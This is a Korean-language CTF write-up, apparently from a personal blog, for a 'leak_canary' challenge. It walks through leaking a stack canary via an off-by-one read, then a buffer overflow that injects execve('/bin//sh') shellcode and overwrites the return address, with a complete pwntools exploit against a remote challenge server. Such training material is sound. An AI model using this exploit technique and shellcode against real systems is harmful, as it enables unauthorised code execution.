
- printf 함수로 buf Addr 출력
- buf에 최대 0x100byte만큼 입력 받음
- v4에 최대 0x4byte만큼 입력 받음

적용된 보호기법을 확인해 보면 NX가 꺼져있기 때문에 shell code를 사용할 수 있음
첫 번째 Exploit 시나리오
- read : shell code(23byte)와 더미를 삽입해 canary leak
- scanf : 더미를 삽입하고 BOF
⇒ Exploit 실패
두 번째 Exploit 시나리오
do while문으로 여러 번 입력을 받음
- buf address 받아와서 저장
- 첫번째 read : canary leak
- 두번째 read : shell code 삽입 및 BOF
⇒ Exploit 성공
buf = int(r.recvline().split(':')[1],16) print("buf address : "+hex(buf))
프로그램이 출력하는 buf의 주소를 pwntools로 받아와서 저장함
pay=b"" pay+=b"a"*105 r.sendafter('Input MSG : ', pay) r.recvuntil(pay) canary = u64("\x00" + r.recv(7)) print("canary : "+hex(canary)) r.sendlineafter('quit? ','a')
buf의 크기 = 104byte
첫번째 read 함수 입력 : canary 값을 leak하기 위해서 105byte를 보냄
보낸 pay를 제외하고 나머지 값을 recv로 받아 unpacking 해준 후 canary에 저장
pay=b'' pay+=sh pay+=b"a"*(104-len(sh)) pay+=p64(canary) pay+=b"b"*0x8 pay+=p64(buf) r.sendlineafter('Input MSG : ', pay) r.sendlineafter('quit? ','q' )
두 번째 read 함수 입력
shell code + leak한 canary + SFP + buf 주소를 넣어 ret을 변조해 shell code를 실행 하도록 함
from pwn import* e = ELF('./leak_canary') #r = process(e.path) r = remote('sung.pw', 13312) sh=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" buf = int(r.recvline().split(':')[1],16) print("buf address : "+hex(buf)) pay=b"" pay+=b"a"*105 r.sendafter('Input MSG : ', pay) r.recvuntil(pay) canary = u64("\x00" + r.recv(7)) print("canary : "+hex(canary)) r.sendlineafter('quit? ','a') pay=b'' pay+=sh pay+=b"a"*(104-len(sh)) pay+=p64(canary) pay+=b"b"*0x8 pay+=p64(buf) r.sendlineafter('Input MSG : ', pay) r.sendlineafter('quit? ','q' ) r.interactive()

'Write up' 카테고리의 다른 글
rtl32, 64 (0) | 2022.02.02 |
---|---|
overwrite_ret32, 64 (0) | 2022.02.02 |